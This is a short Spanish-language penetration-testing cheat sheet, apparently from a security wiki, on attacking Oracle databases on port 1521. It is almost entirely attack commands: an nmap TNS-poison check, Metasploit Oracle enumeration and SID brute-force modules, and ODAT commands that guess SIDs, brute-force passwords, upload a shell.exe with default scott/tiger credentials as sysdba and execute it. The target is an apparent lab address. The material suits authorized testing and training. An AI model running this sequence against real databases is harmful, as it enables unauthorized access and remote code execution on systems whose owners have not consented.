> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/puertos-and-servicios/1521-oracledb.md).

# 1521 - OracleDB

## Nmap

{% code overflow="wrap" %}

```
nmap -p 1521 --script=oracle-vuln-tns-poison IP
```

{% endcode %}

## Probar

### METASPLOIT

```bash
use auxiliary/scanner/oracle/tnslsnr_version
use auxiliary/scanner/oracle/tnspoison_checker
use auxiliary/scanner/oracle/sid_enum
use auxiliary/scanner/oracle/sid_brute
```

###

### Enumerar SID

```bash
./odat.py sidguesser -s 10.10.10.82
```

##

### Fuerza bruta

Cuidadin con los diccionarios por defecto que viene todo en mayuscula y Oracle distingue entre mayusculas y minusculas

```bash
./odat.py passwordguesser -s 10.10.10.82 -d XE
```

```bash
./odat.py passwordguesser -s 10.10.10.82 -d XE --acounts-file accounts/accounts.txt
```

##

### Subir una shell

{% code overflow="wrap" %}

```bash
./odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --putFile c:/ shell.exe shell.exe
```

{% endcode %}

### Ejecutar un fichero

{% code overflow="wrap" %}

```bash
./odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --exec c:/ shell.exe
```

{% endcode %}

##

## Referencias

<https://github.com/quentinhardy/odat>

<https://github.com/quentinhardy/odat/wiki>